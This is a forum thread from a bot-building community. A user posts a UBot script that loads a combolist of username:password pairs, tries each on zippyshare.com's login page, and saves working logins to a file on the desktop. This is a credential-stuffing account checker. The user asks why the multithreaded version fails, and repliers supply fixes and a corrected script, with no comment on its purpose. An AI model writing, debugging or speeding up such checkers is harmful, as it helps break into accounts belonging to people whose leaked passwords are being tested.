Xroot 0 Posted December 28, 2015 Report Share Posted December 28, 2015 (edited) Hello everyone with help of ubot i finish my zippyshare bot , it takes data from a file in which data is present like this user1:pass user2:pass2user3:pass3and then simmply post that on zippyshare website and check for valid login and then save that login into a special folder but this was single thread and i wnated to make it faster with muti thread and i made this also but in this code no of used threads keeps on inc . even after login procedure i dec. no of used thread still it keeps on inc and code does not work ui open file("Combolist", #combo)set(#usedthreads, 0, "Global")ui drop down("Thread counter", "2,3,4,5,6,7,8,9,10", #no of threads)loop($table total rows(&Account details)) { loop while($comparison(#usedthreads, ">=", #no of threads)) { wait(1) } Loop process()}define Loop process { increment(#no of threads) LoginProcedure()}define Startup { set(#row, 0, "Global")}define LoginProcedure { thread { in new browser { create table from file(#combo, &Account details) clear cookies navigate("http://zippyshare.com", "Wait") set(#Email, $table cell(&Account details, #row, 0), "Global") type text(<username field>, #Email, "Standard") set(#Password, $table cell(&Account details, #row, 1), "Global") type text(<password field>, #Password, "Standard") click(<login button>, "Left Click", "No") if($exists(<innertext="Logout">)) { then { save to file("{$special folder("Desktop")}/mutitreadzippy.txt", "{#Email}:{#Password}{$new line}") } else { } } increment(#row) decrement(#usedthreads) } }} i need to know why it is not workign properly what mistake i have done in here so i will remember then and will not do agian thank you love ubot Edited December 28, 2015 by Xroot Quote Link to post Share on other sites
Gogetta 263 Posted December 28, 2015 Report Share Posted December 28, 2015 You should be using local variables in your "LoginProcedure" command. Check the wiki for more information on Global and Local variables. Quote Link to post Share on other sites
cүвεя_נυηкιε 68 Posted December 28, 2015 Report Share Posted December 28, 2015 Hi, Im guessing "Startup()" is being run when you click your start button ?If not then just move "set(#row, 0, "Global")" to before the "loop while" starts, and you would probably be safer to use a wait or a Wait for browser event after the login click, this is because you want your bot to wait for the page to load before it checks if "logout" exists. Just from looking at it you needed to change the "increment(#no of threads)" to "increment(#usedthreads)" Try this mate : ui open file("Combolist", #combo)set(#usedthreads, 0, "Global")ui drop down("Thread counter", "2,3,4,5,6,7,8,9,10", #no of threads)loop($table total rows(&Account details)) { loop while($comparison(#usedthreads, ">=", #no of threads)) { wait(1) } Loop process()}define Loop process { increment(#usedthreads) LoginProcedure()}define Startup { set(#row, 0, "Global")}define LoginProcedure { thread { in new browser { create table from file(#combo, &Account details) clear cookies navigate("http://zippyshare.com", "Wait") set(#Email, $table cell(&Account details, #row, 0), "Global") type text(<username field>, #Email, "Standard") set(#Password, $table cell(&Account details, #row, 1), "Global") type text(<password field>, #Password, "Standard") click(<login button>, "Left Click", "No") if($exists(<innertext="Logout">)) { then { save to file("{$special folder("Desktop")}/mutitreadzippy.txt", "{#Email}:{#Password}{$new line}") } else { } } increment(#row) decrement(#usedthreads) } }} I didnt have time to test it but it looks good from where im standing now (just add a wait of some description after the login click) Cheers cүвεя_נυηкιε Quote Link to post Share on other sites
Xroot 0 Posted December 28, 2015 Author Report Share Posted December 28, 2015 thank you mate for help, let me try this now and i will let you knowand thank you bro about global and local variable this is i did not knowbut i need more time to think about it weather i need to use global and local mate this is really confusing xdlove ubot Quote Link to post Share on other sites
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.